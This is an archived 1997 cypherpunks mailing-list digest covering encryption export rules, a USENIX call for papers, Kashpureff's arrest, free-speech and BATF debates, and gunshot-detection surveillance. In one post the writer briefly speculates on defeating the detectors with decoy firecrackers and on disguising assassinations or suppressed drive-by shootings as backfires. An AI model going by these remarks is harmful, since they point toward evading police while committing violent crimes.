>wearning Rolexes are doing so on _credit_. Driving a Mercedes or BMW
>has nothing to do with actual ability to pay bills.

Perception, not reality, is what is important here.  A wealthy
appearing person will generally fare better.

It's true, however, that you are probably better off with proof of
insurance than an expensive watch when being wheeled into the
emergency room.  (Except for your privacy, that is.)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 1 Nov 1997 13:20:42 +0800
To: cypherpunks@toad.com
Subject: re: Hlep
Message-ID: <199711010509.GAA08766@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Q. How many cypherpunks does it take to change a light bulb ?

A. %5-3E,*5$%"4TE:10IA8F-D969G:6ML;6YP<7)S='5W.GA!0D-&








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 1 Nov 1997 21:35:36 +0800
To: cypherpunks@toad.com
Subject: BXA Agenda
Message-ID: <1.5.4.32.19971101132827.00a5b8d0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



BXA has published its semiannual regulatory agenda
scheduling the issuance of export rules for encryption,
dual use technology, Wassenaar implementation, 
communications intercept devices, and, a new one (to me), 
controlling access to source code by foreign nationals, 
among other banes.

   http://jya.com/bxa-sra.htm  (60K)

Here's the abstract for GAK:

-----

   604. LICENSING OF, AND EXPANSION OF NATIONAL SECURITY 
   AND FOREIGN POLICY CONTROLS ON, RECOVERABLE 
   ENCRYPTION SOFTWARE

   Abstract: This rule will amend the Export Administration Regulations by 
   imposing enhanced national security and foreign policy controls on 
   certain recoverable encryption to supplement the national security 
   controls on those items. This rule will also amend the EAR to exclude 
   recoverable encryption software from the de minimis provisions for 
   exports from abroad of foreign-origin software incorporating U.S.-
   origin software. In addition, this rule amends the Commerce Control 
   List by adding ECCNs to control recoverable encryption software 
   transferred from the U.S. Munitions List.

-----

FIM, all departments of the USG are required to pulished twice
yearly (April and October) regulatory agendas for implementing 
rules devised to breed FAL outside GovBot and LAM within.

See compendium of all agendas published October 29 under
"Unified Agenda" at:

   http://www.access.gpo.gov/su_docs/aces/aaces002.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 1 Nov 1997 23:06:46 +0800
To: cryptography@c2.net
Subject: Call for Papers - 3rd USENIX Electronic Commerce Workshop
Message-ID: <v03110744b080e4971754@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: treese@mail-60.OpenMarket.com
Date: Fri, 31 Oct 1997 23:07:02 -0500
To: dcsb@ai.mit.edu
From: Win Treese <treese@openmarket.com>
Subject: Call for Papers - 3rd USENIX Electronic Commerce Workshop
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Win Treese <treese@openmarket.com>

>From: ec-mailing-owner@usenix.ORG
>Date: Wed, 22 Oct 1997 21:24:01 -0700 (PDT)
>Reply-To: ec-mailing-request@usenix.ORG
>Subject:  Call for Papers - 3rd USENIX Electronic Commerce Workshop
>Apparently-To: <treese@openmarket.com>
>
>Dear Colleagues,
>
>Electronic Commerce is a rapidly growing area with global economic
>implications.  I'm excited to be able to say that we're putting
>together the Third USENIX Workshop on Electronic Commerce, and I
>invite your participation.  This vital inter-disciplinary field
>thrives from a cross pollenation of ideas and techniques from many
>areas, and this workshop will be a great opportunity for you to
>present your findings as well as learn about other latest results.
>
>So, mark your calendars!  The workshop will take place from August 31
>to September 3, 1998, and paper submissions are due by March 6, 1998.
>I hope to see you in Boston!
>
>Bennet Yee
>Program Chair
>ec98chair@usenix.org
>=================================================================
>
>Announcement and Call for Participation
>
>3rd USENIX Workshop on Electronic Commerce
>August 31-September 3, 1998
>Tremont Hotel, Boston, MA
>
>Sponsored by USENIX, the Advanced Computing Systems Association
>
>For more information about this conference, see the Electronic
>Commerce Website:  http://www.usenix.org/events/ec98
>
>IMPORTANT DATES
>Extended abstracts due: 	March 6, 1998
>Notification to authors: 	April 17, 1998
>Camera-ready final papers due: 	July 21, 1998
>
>
>PROGRAM COMMITTEE
>Chair: Bennet S. Yee, UC San Diego
>
>Ross Anderson, Cambridge University
>Nathaniel Borenstein, First Virtual
>Marc Donner, Morgan Stanley
>Niels Ferguson, Digicash
>Mark Manasse, Digital Equipment Corp.
>Cliff Neuman, University of Southern California
>Avi Rubin, AT&T Labs
>Win Treese, OpenMarket
>Hal Varian, U.C. Berkeley
>Doug Tygar, Carnegie Mellon University
>
>
>OVERVIEW
>
>The Third Workshop on Electronic Commerce will provide a major
>opportunity for researchers, experimenters, and practitioners in
>this rapidly self-defining field to exchange ideas and present the
>results of their work. It will set the technical agenda for work in
>electronic commerce by enabling workers to examine urgent
>questions, share their insights and discover connections with other
>work that might otherwise go unnoticed. To facilitate this, the
>conference will not be limited to technical problems and solutions,
>but will also consider their context: the economic and regulatory
>forces that influence the engineering choices we make, and the
>social and economic impact of network based trading systems.
>
>
>TUTORIALS PROPOSALS WELCOME
>
>One day of tutorials will precede the Workshop on August 31.
>USENIX's well-respected tutorials are intensive and provide
>immediately-useful information delivered by skilled instructors who
>are hands-on experts in their topic areas. Topics for the
>Electronic Commerce Workshop will include, but are not limited to,
>security and cryptography. If you are interested in presenting a
>tutorial, please contact:
>
>Dan Klein, Coordinator
>Email: dvk@usenix.org
>Phone: 412.421.2332
>
>
>WORKSHOP TOPICS
>
>Two and one-half days of technical sessions will follow the
>tutorials. We welcome submissions for technical and position paper
>presentations, reports of work-in-progress, technology debates, and
>identification of new open problems. Birds-of-a-Feather sessions in
>the evenings and a keynote speaker will round out the program.
>
>We seek papers that address a wide range of issues and ongoing
>developments, including, but not limited to:
>
>Advertising
>Anonymous transactions
>Auditability
>Business issues
>Copy protection
>Credit/Debit/Cash models
>Cryptographic security
>Customer service
>Digital money
>EDI
>Electronic libraries
>Electronic wallets
>Email-enabled business
>Exception handling
>Identity verification
>Internet direct marketing
>Internet/WWW integration
>Key management
>Legal and policy issues
>Micro-transactions
>Negotiations
>Privacy
>Proposed systems
>Protocols
>Reliability
>Reports on existing systems
>Rights management
>Service guarantees
>Services vs. digital goods
>Settlement
>Smart-cards
>
>Questions regarding a topic's relevance to the workshop may be
>addressed to the program chair via electronic mail to
>ec98chair@usenix.org. USENIX will publish Conference Proceedings
>which are provided free to technical session attendees; additional
>copies will be available for purchase from USENIX.
>
>
>WHAT TO SUBMIT
>
>Technical paper submissions and proposals for panels must be
>received by March 6, 1998. We welcome submissions of the following
>type:
>
>1. Refereed Papers - Full papers or extended abstracts should be five
>   to 20 pages, not counting references and figures.
>
>2. Panel proposals - Proposals should be three to seven pages,
>   together with a list of names of potential panelists. If
>   accepted, the proposer must secure the participation of
>   panelists, and prepare a three to seven page summary of panel
>   issues for inclusion in the Proceedings. This summary can
>   include position statements by panel participants.
>
>3. Work-In-Progress Reports - Short, pithy, and fun, WIP reports
>   introduce interesting new or ongoing work and should be 1 to 3
>   pages in length. If you have work you would like to share or a
>   cool idea that is not quite ready to publish, a WIP is for you!
>   We are particularly interested in presenting student work.
>
>Each submission must include a cover letter stating the paper title
>and authors, along with the name of the person who will act as the
>contact to the program committee. Please include a surface mail
>address, daytime and evening phone number, email and fax numbers
>and, if available, a URL for each author. If all of the authors are
>students, please indicate that in the cover letter for award
>consideration (see "Awards" below).
>
>USENIX workshops, like most conferences and journals, require that
>papers not be submitted simultaneously to more than one conference
>or publication and that submitted papers not be previously or
>subsequently published elsewhere. Submissions accompanied by
>non-disclosure agreement forms are not acceptable and will be
>returned to the author(s) unread. All submissions are held in the
>highest confidentiality prior to publication in the Proceedings,
>both as a matter of policy and in accord with the U.S. Copyright
>Act of 1976.
>
>
>WHERE TO SUBMIT PROPOSALS
>
>Please send submissions to the program committee via one of the
>following methods. All submissions will be acknowledged.
>
>Preferred Method: email (Postscript or PDF formats only) to:
>ec98papers@usenix.org.
>
>Files should be encoded for transport with uuencode or MIME base64
>encoding.  Authors should ensure that the PostScript is generic and
>portable so that their papers will print on a broad range of
>postscript printers, and should submit in sufficient time to allow
>us to contact the author about alternative delivery mechanisms in
>the event of network or other failure. If you send PostScript,
>remember the following:
>
>1) Use only the most basic fonts (TimesRoman, Helvetica, Courier).
>   Other fonts are not available with every printer or previewer.
>
>2) PostScript that requires some special prolog to be loaded into
>   the printer won't work for us. Please don't send it.
>
>3) If you use a PC- or Macintosh-based word processor to generate
>   your PostScript, print it on a generic PostScript printer before
>   sending it, to make absolutely sure that the PostScript is
>   portable.
>
>4) If you are generating the PostScript from a program running
>   under Windows, make sure that you establish the "portable"
>   setting, not the "speed" setting for PostScript generation.
>
>A good heuristic is to make sure that recent versions of Ghostview
>(e.g. Ghostview 1.5 using Ghostscript 3.33) can display your
>paper.
>
>Alternate Method: 10 copies, via postal delivery to:
>
>EC'98 Submissions
>USENIX Association
>2560 Ninth Street, Suite 215
>Berkeley, CA 94710
>
>For detailed submission guidelines, send email to ec98authors@usenix.org,
>refer to the conference Web page at
>www.usenix.org/events/ec98/guidelines.html,
>or send email to the program chair at ec98chair@usenix.org.  An
>electronic version of this Call for Papers is available at:
>www.usenix.org/events/ec98/.
>
>
>BIRDS-OF-A-FEATHER SESSIONS (BoFs)
>
>Do you have a topic that you'd like to discuss with others? Our
>Birds-of-a-Feather Sessions may be perfect for you. BoFs are very
>interactive and informal gatherings for attendees interested in a
>particular topic. Schedule your BoF in advance by telephoning the
>USENIX Conference Office at 714.588.8649 or sending email to:
>conference@usenix.org.
>
>
>AWARDS
>
>The program committee will offer awards of $500 for the best paper
>and the best student paper.
>
>
>REGISTRATION INFORMATION
>
>Materials containing all details of the technical and tutorial
>programs, registration fees and forms and hotel information will be
>available in June, 1998. If you wish to receive the registration
>materials, please contact USENIX at:
>
>USENIX Conference Office
>22672 Lambert Street, Suite 613
>Lake Forest, CA 92630
>Phone: 714 588 8649
>Fax: 714 588 9706
>Email: conference@usenix.org
>
>
>ABOUT USENIX
>
>USENIX is the Advanced Computing Systems Association. Since 1975
>USENIX has brought together the community of engineers, system
>administrators, and technicians working on the cutting edge of the
>computing world. For more information about USENIX:
>
>URL: http://www.usenix.org
>Email: office@usenix.org
>Fax: 510.548.5738
>Phone: 510.528.8649
>
>

For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 1 Nov 1997 17:56:44 +0800
To: cypherpunks@cyberpass.net
Subject: Eugene Kashpureff in custody
Message-ID: <199711010755.IAA24125@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Date: Sat, 01 Nov 1997 15:41:13 +1100
To: aussie-isp@aussie.net, link@www.anu.edu.au, aursc@lists.ah.net
From: Adam Todd <at@ah.net>
Subject: [Oz-ISP] Eugene Kashpureff in custody.

Date: Fri, 31 Oct 1997 10:40:20 -0500 (EST)
----------------------------------------------------------------------------
RSCTALK Discussion List.  Open.
----------------------------------------------------------------------------

Eugene Kashpureff, known for his redirect of the NSI web page, was 
apprehended this morning in Toronto by undercover RCMP detectives.

Pending a deportation hearing, he will be returned to New York to face 
Felony Wire Fraud charges that were sworn out against him after he had 
settled out of court with NSI in regard to their civil suit.

Early in the week Eugene relinquished control of the Alternic to an adhoc 
industry group.

----------------------------------------------------------------------------

It is alledged there are 40,000 individual charges being laid agains Euegene.

It is strongly expected ISP's and DNS operators world wide will provide
support to Eugene through RSC organisation to ensure his safe return.

For more information contact the Author.


-------------------------------------------------------------------------
The advice offered in this email is not considered professional advice,
or it would be accompanied by an invoice.
-------------------------------------------------------------------------
Business Development, Technology Domain Registration and Network Advisory
Telstra Convery Member
Adam Todd                                 Personal http://adamtodd.ah.net  
Phone +61 2 9729 0565                     Network  http://www.ah.net
AU Root Server Confederation              http://aursc.ah.net
AU Internet News  mailto:internet-request@ah.net  with "subscribe"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 2 Nov 1997 01:24:48 +0800
To: cypherpunks@Algebra.COM
Subject: Speech as co-conspiring? I don't think so.
In-Reply-To: <199711011630.LAA23465@mx01.together.net>
Message-ID: <v03102808b08102a45f8d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:30 AM -0700 11/1/97, Brian B. Riley wrote:
>On 10/29/97 10:06 AM, Tim May (tcmay@got.net)  passed this wisdom:

>>* the First Amendment is seen as a minor obstacle to prosecution.
>>Hayes congratulates his assistant at the end for finding a way
>>around the First as a defense.
>
>  Thats not how I viewed it, I don't remeber the words, but I saw it that
>he was not going to 'go after' the first amendment and cautioned them
>about how unwise that was.

You said in your other post this morning that you thought this was clearly
not a First Amendment case. I disagree. Though the episode obfuscated the
issue. Read on.




>>* the talk show host has apparently done nothing more than many of
>>us havedone on this list
>>
>>* he is convicted because he claimed not to have ever met the
>>murderer, buta tearful witness (girlfriend of the murderer) says
>>they did meet, briefly.
>>
>>(No evidence is presented that the talk show host participated,
>>supplied weapons, encouraged the murderer, etc.)
>
>  maybe I am dreaming about something else, but I think they clearly
>showed that he had met with the guy and was fully aware that he was a
>crazy and could be pushed over the line

Since when is broadcasting a radio to relevision show or writing an essay
evidence of complicity in a murder, even when it "pushes someone over the
line"?

Is Senator Helms responsible if somebody shoots Clinton? ("Clinton had
better be wearing a bulletproof vest if he visits my state") How about talk
show host G. Gordon Liddy? ("Go for head shots")

How about the people on this list? Am I culpable for the actions of, say,
Jim Bell?

If this is the criterion, all publication and broadcast will cease if the
broadcaster or publisher or writer or whatever has any belief that some
crazy person might hear his words and act on it. If Dan Rather knows that
some crazy person watches his show and is enraged to see interracial
marriages, for example, is Dan then complicit when he shows such a scene
and the crazy racist commits murder?

(Would it matter if Dan Rather had been witnessed personally speaking to
the crazy racist?)

As the "Michael Hayes" episode showed things, the radio show guy had only
barely met the guy, in passing. This does not make him responsible for the
actions of the guy. (I agree that the talk show guy was stupid to have
denied meeting the shooter....he could have just said, "I meet a lot of
people...I don't remember all of them.")

(I think this was thrown in to obfuscate the basic constitutional issues,
hence my earlier comment that the talk show host was apparently convicted
because he lied, and not on the real issue of culpability. Bad writing. Bad
law.)

Lawyers talk about a "nexus." If I rant and rave on this list about taking
action against the State, about defending myself in predawn ninja raids,
and then someone like Bell or Vulis or Detweiler actually goes out and
(allegedly) commits some crime, can I held to be a co-conspirator or a
co-participant?

Even if I _know_ they're crazy?

If there is no nexus, no direct contact, then culpability is lost.

(One defense in court I would use to the "and was fully aware that he was a
crazy" point Brian raised above is "I'm not his psychiatrist...I didn't
diagnose him." Lawyers are always fond of reminding witnesses that they're
not qualified in certain areas, so....)

Look, I disagree with the "hate speech" laws, as many free speech advocates
do. (Check out what the ACLU has to say about such laws.) But the most the
talk show host should have been charged with was a violation of the hate
speech laws (not that I support this). Calling him a co-conspirator in a
murder is ludicrous.

But since I don't who on this list is crazy and who is not, and who may be
arrested tomorrow or during the Thanksgiving Day Raids, I'd better shut up.

--Tim May, Co-Conspirator in the Bell Case

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 2 Nov 1997 01:42:50 +0800
To: cypherpunks@Algebra.COM
Subject: BATF as an internal army
In-Reply-To: <199711011630.LAA23465@mx01.together.net>
Message-ID: <v03102809b0810793884b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:30 AM -0700 11/1/97, Brian B. Riley wrote:

>   I looked at it with mixed emotions ... BATF is made up of guys and
>gals just like us, some good, some bad, some sheep. The problem with BATF
>is that their leadership sucked and the bad ones got their way. Just like
>years ago, when Philadelphia elected Frank Rizzo (former Police
>Commsisioner) mayor ... he wasn't a bad cop but ran a little rough shod
>over the Bill of Rights from time to time ... with him as Mayor, the
>Philadelphia PD went to hell in a handbasket because all his old cronies
>could get away with murder (often literally!)

The problem with the BATF (Bureau of Alcohol, Tobacco, and Firearms, for
you foreigners reading this) is that it is an agency designed solely to
fight contraband and smuggling.

Just as organized crime gained a major foothold in America by smuggling and
distributing booze (by this I mean the Kennedy Clan, of course, and some
random Sicilians), so too the BATF became a standing army to fight (or take
bribes from) their opponents.

If the government got out of the unconstitutional (I believe) business of
telling people what kind of stuff they could put in their mouths or bodies,
and got out of the business of trying to micromanage the types of Second
Amendment instruments they owned, their wouldn't be a need for the BATF,
would there?

The BATFis really an internal army, just like so many statist countries have.

This is why they're getting Blackhawk choppers, Bradley Fighting Vehicles,
fully automatic weapons, and access to SIGINT and COMINT resources. In
conjunction with the DEA, Customs, and other such agencies.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sun, 2 Nov 1997 03:18:33 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Technology 'secures' gunfire [CNN]
In-Reply-To: <199711010306.VAA27799@einstein.ssz.com>
Message-ID: <3.0.3.32.19971101101925.006eb57c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713747.multipart/signed"

--Boundary..3986.1071713747.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 09:06 PM 10/31/97 -0600, Jim Choate wrote:
>Forwarded message:
>
>>                    TECHNOLOGY 'SECURES' GUNFIRE IN THE CITY
>>                                        
>>      Secures October 31, 1997
>>      Web posted at: 4:44 p.m. EST (2144 GMT)
>>      
>>      ARLINGTON, Virginia (CNN) -- If you heard gunshots ring out in your
>>      neighborhood, you might be able to tell the general direction they
>>      came from. And if you happened to glance at your watch, you could
>>      say about what time. In maybe a minute, if you were so inclined, you
>>      could call the police to report it.
>>      
>>      Now police have an electronic witness that can provide similar
>>      assistance: a device called SECURES that pinpoints the time and
>>      location of gunshots.

This would be a network of microphones and processing stations which could
perform a reverse-GPS location analysis of sounds picked up by 3 or more
microphones.  (Sounds common to 2 microphones could be localized with a
lower degree of accuracy if directional microphone arrays are used.)  Yet
another instance of Big Brother technology that is of limited value to the
police.  Of course, this means that you will have the police responding to
every backfiring car, which will dampen their enthusiasm for responding
unless full-auto fire or a prolonged gunfight is overheard.  Of course, if
you have a silenced weapon and some cherry bombs with cigarette time-delay
fuses, you can use this system to docoy the police into the wrong
neighborhood.  Or if you confine yourself to single-shot assassinations
near busy streets, it will probably be written off as a vehicle backfire,
especially if you are doing a drive-by with a suppressed shotgun.  (Not
possible to silence completely, but certainly possible to quiet to the
point that it wouldn't attract undue notice along a busy street.)

In order for this system to be worth anything, it would have to be able to:
1.  Use voice recognition techniques to classify the type of weapon
(primarily useful for machine guns--it could evaluate the frequency
characteristics, rate of fire, etc. to distinguish between an AK-47 and an
UZI) sufficiently well to distinguish between small-arms fire, fireworks
(cherry bombs, M-80's, etc) and vehicle backfires.

2.  Perform "scream analysis" to distinguish the typical screams of
children at play from those of gunshot victims.

3.  Monitor conversations throughout the coverage area.  A suspicious sound
preceded by a male voice saying "Give me your money, bitch" would be much
more interesting than one preceded by a revving engine.  This would have
the added benefits of allowing LEO's to track fugitives via the sound of
their footsteps, their breathing, vehicle engine sounds, etc., as well as
gathering voiceprint data from crimes in progress.

I think point 3 is the scariest.  A properly designed system could do
voiceprint analysis of almost every word spoken in public, tie the
conversations to the identities of the speakers, and archive the time,
location, content and participants of every spoken conversation for long
periods of time in a database that could be searched by keyword, speaker
identity, time, and/or location.  The following searches could be done:

1.  "I want a list of everyone who uttered the words 'buy' and 'crack' in
the same sentence between 2100 and 0330 hours within 500 feet of 123 Maple
Drive between August 7 and December 5."

2.  "I want a list of all participants in conversations with Citizen-Unit
754-35-9710 which included the phrase 'BATF agent' in the last 6 months.

3.  "I want a map of Citizen-Unit 754-35-9710's movements for the last 2
weeks."

4.  "I want to see the movement history of all '96 Ford Escorts with a
misfire on cylinder #1."

5.  "I want the identities of everyone involved in the assault that
happened at the corner of Maple and Main at 1752 hours yesterday.

The Big Brother potential of such a system should be obvious.  What is
really scary is that such a system could be built mostly with currently
existing hardware, and at most a few man-years of software development.  If
each node in the network performs its own speech to text conversion and
archiving, and coordinates with a central voiceprint ID server, (which
could also provide the sync signal that the nodes would use to
cross-reference between nodes to locate sounds) each node could consist of
a Pentium 200 with some specialized audio signal processing cards and 15-20
GB of storage.  The only really new thing required would be an .AVI-style
format for storing MPEG audio, a text transcript of said audio (which would
need to include keywords for gunshots, passing vehicles, and other events
of interest), and location coordinates (updated on a second to second
basis) which could be indexed for reasonably efficient searching.


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3986.1071713747.multipart/signed
Content-Type: application/octet-stream; name="pgp00000.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00000.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5GdHkvY0pGMGtYcXB3
M01FUUpNZndDZlpYcnhmU1U4UEJRNytHQm9sQVZjdi9JaEZ1VUFuMWxYCjJ3
T3hESTRzQU9OSFBkSExEa3hNdGM5TQo9MVdKMQotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713747.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sun, 2 Nov 1997 00:14:58 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: Re: apropos list talk and our culture
Message-ID: <199711011611.LAA17911@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 10/29/97 7:38 AM, Brad Dolan (bdolan@USIT.NET)  passed this wisdom:

>"Michael Hays" is a new CBS series about a U.S. District Attorney.  Last
>night's episode was about how a radio talk-show host incited a listener
>to kill a BATF agent and was brought to justice.  DA convinced a jury
>that some things were "more important" than the first amendment.

 No that was not the point made, in fact the show made a strong point in 
favor of the first amendment. They went after the shock-jock because he 
specifically incited a specific individiual with words which we he knew 
would have an immediate cause and effect result in getting this guy to go 
out and kill someone. There is a difference, and I personally thought 
they made the point well .... now the accused did try to hide behind the 
first amendment but that was not what the first amendment is all about.

  You have to pick yopur mountains to die on in those arenas and the 
shock-jocks cause would not have been one I would have touched were I a 
Constitutional lawyer.


Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Never ask what sort of computer a guy drives. If he's a Mac user,
   he'll tell you. If not, why embarrass him?" - Tom Clancy 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 2 Nov 1997 00:34:33 +0800
To: cypherpunks@cyberpass.net
Subject: FYI re BATF (fwd)
Message-ID: <v03110757b081062aa3a5@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Sat, 1 Nov 1997 11:04:51 -0500 (EST)
From: Peter F Cassidy <pcassidy@world.std.com>
To: Robert Hettinga <rah@shipwright.com>
Subject: FYI re BATF (fwd)
Mime-Version: 1.0
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by pop.sneaker.net id
LAA23122



---------- Forwarded message ----------
Date: Sat, 1 Nov 1997 06:35:29 -0500
From: Unka Bart <mendicant@buddhist.com>
To: Peter Cassidy <triarche@world.std.com>
Subject: FYI re BATF

From: John_Johnson <TXJohn47@ix.netcom.com>
Date:         Fri, 31 Oct 1997 01:30:51 -0600
To: FIREARMS@LISTSERV.UTA.EDU
Subject:      Fwd: Is the BATF Up to Their Old Tricks Again? **** Begin
              Forwarded Message ****

 Date: Fri, 31 Oct 1997 20:32:09 -0700
 From: Douglas Davis <davisda@rmi.net>
 Subject: Is the BATF Up to Their Old Tricks Again?

> From: byteme@msn.com (Karmann Powell)
> Date: Thu, 30 Oct 1997 08:27:52 -0500
> Organization: AirPower Information Services (610) 259-2193
> Subject: Is the BATF Up to Their Old Tricks Again?
>
> I am cross posting this e-mailed information received from a
> Karmann in AZ. She has e-mailed me and sent local newspaper
> information via snail mail to support her claims that her
> community is being bullied by the BATF. For some reason they
> are having a difficult time getting the information out - even
> with a whole community and local newspaper of angry citizens.
> Anyone that can assist and verify the following would be most
> appreciated.
>
> ****************************************************************
>
> RIGHTS & FREEDOMS AT RISK IN NEW RIVER, ARIZONA
> New River is a small, non-incorporated community 30 miles north
> of Phoenix, AZ.  On September 10, 1997, the BATF raided the
> property of Charles Byers, a former munitions manufacturer.
> On the property they found a shed containing chemicals that the
> BATF claims are highly unstable and shock sensitive. A list of
> the chemicals obtained via court records shows that most of the
> chemicals are used in the production of fireworks. The shed has
> been described by some as "a glorified high school chem. lab".
> Our community, as well as the Constitution and the Bill of Rights,
> are under an all out assault.  The BATF has invaded New River and
> plans to create an environmental hazard against our wishes and
> without legal permits.  On September 23, 1997, the BATF blew up
> two bunkers full of explosives.  The community was not notified.
> The resulting shock wave rattled houses as far as four miles away.
> Kids at New River Elementary school were bounced out of their chairs
> and  scared half out of their wits. The materials in the shed did
> not ignite.
> The BATF brought in heavy equipment to build a berm around the shed,
> then constructed a concrete wall on top of it.  The BATF claims that
> the heavy equipment did not set off the chemicals in the shed because
> they used equipment with "rubber tires."
> The BATF decided the only way to solve the problems of the unstable
> chemicals is to burn the shed using Thermite as an accelerant to
> incinerate the shed and its contents at temperatures between 3000
> and 5000 degrees. This would completely destroy any organic compounds
> that might exist.  The inorganic compounds would not be destroyed,
> but would instead, vaporize and form possible new and deadly airborne
> combinations. The EPA approved the BATF's plan, a federal judge
> issued an evacuation order, Maricopa County Sheriff Joe Arpaio, went
> along.  The burn was set for October 18, 1997.  The Sheriff, a thirty
> year veteran of the DEA, sent his posse to notify residents that they
> were to evacuate their property, including all domestic animals and
> birds.  Since this is a rural area, most people have more than just
> a cat or dog. Folks here raise horses, pigs, chickens and exotic
> birds and animals.  Many raise more than one species and have
> multiple head.
> At a community meeting with the BATF, EPA and Sheriff Arpaio,
> residents asked questions of the assembled panel.  The panel could
> not or would not respond to residents inquires:  "What exactly was
> in the shed and in what quantities?  What effect would burning the
> chemicals have on our soil, air and ground water, both short and
> long term?  Where were residents to take their animals?  Who was
> going to pay for any damages sustained to properties (Brush fired
> hazard is very high this time of the years)?"
> It was evident that the effects of the burn had not been determined.
>  The EPA representative said numerous times, "We will monitor before
> and after."  Sheriff Arpaio threatened to forcibly remove anyone who
> refused to leave their property.  He could not understand why
> residents did not want - or appreciate - his 'protection'.  He stated
> that it is within his power and responsibilities to protect us from
> ourselves. So many people refused to evacuate that the October 18
> burn was postponed until November 1, 1997.  Three hundred fifty homes
> were to be evacuated, for 12 to 24 hours, within a three mile radius
> of Byers' property.  The evacuation maps provided to us, prepared by
> the BATF, were completely wrong.  They have been redrawn - with the
> radius now only extending 1.5 miles so as not to inconvenience the
> people in the Manufacturer's Outlet Mall nearly three miles from the
> proposed burn site.    When asked, "If these chemicals are so
> sensitive, why did the BATF set off explosions near the shed?", they
> said it was a mistake.
> We have not accepted that the federal, or even local, government can
> force us to leave our homes, proceed with reckless behavior with
> detrimental effects on our land, lives and livelihoods, and not be
> accountable.  The BATF and Sheriff Arpaio have tried to make us feel
> like we are over-reacting and just need to get with the program.
> Sheriff Arpaio did not stop his threats of forcible removal - until
> he was contacted by the community's attorney.
> On October 25,1997, New River residents held a peaceful demonstration
> at the site of the proposed burn.  We walked two miles up and down
> steep hills and stood before the BATF with American flags.  We wanted
> to remind the BATF that this is still America and that we have the
